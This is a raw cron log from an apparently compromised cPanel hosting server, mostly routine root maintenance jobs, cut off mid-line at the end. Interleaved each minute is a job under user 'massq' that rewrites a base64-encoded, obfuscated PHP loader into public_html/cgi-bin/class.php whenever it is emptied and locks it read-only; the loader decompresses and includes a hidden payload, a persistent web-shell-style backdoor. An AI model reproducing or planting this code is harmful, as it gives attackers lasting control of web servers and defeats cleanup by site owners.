Sep  6 10:00:01 server CROND[8487]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:00:01 server CROND[8492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:00:01 server CROND[8484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:01:01 server CROND[9410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:01:01 server CROND[9411]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 10:01:01 server CROND[9413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:01:01 server CROND[9412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:01:01 server run-parts(/etc/cron.hourly)[9411]: starting 0anacron
Sep  6 10:01:01 server run-parts(/etc/cron.hourly)[9430]: finished 0anacron
Sep  6 10:02:01 server CROND[10010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:02:01 server CROND[10011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:02:01 server CROND[10012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:03:01 server CROND[10406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:03:01 server CROND[10409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:03:01 server CROND[10407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:04:01 server CROND[10785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:04:01 server CROND[10786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:04:01 server CROND[10787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:05:01 server CROND[11239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:05:01 server CROND[11241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:05:01 server CROND[11243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:05:01 server CROND[11247]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:05:01 server CROND[11251]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:05:01 server CROND[11249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:05:01 server CROND[11248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:05:01 server CROND[11250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:06:01 server CROND[12090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:06:01 server CROND[12091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:06:01 server CROND[12092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:07:01 server CROND[12495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:07:01 server CROND[12496]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:07:01 server CROND[12494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:08:01 server CROND[12983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:08:01 server CROND[12984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:08:01 server CROND[12985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:09:02 server CROND[13365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:09:02 server CROND[13366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:09:02 server CROND[13367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:09:02 server CROND[13368]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 10:10:01 server CROND[13760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:10:01 server CROND[13762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:10:01 server CROND[13765]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:10:01 server CROND[13767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:10:01 server CROND[13769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:10:01 server CROND[13766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:10:01 server CROND[13768]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:10:02 server CROND[13770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:11:01 server CROND[14672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:11:01 server CROND[14673]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:11:01 server CROND[14674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:12:01 server CROND[15065]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:12:01 server CROND[15066]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:12:01 server CROND[15067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:12:01 server CROND[15068]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQ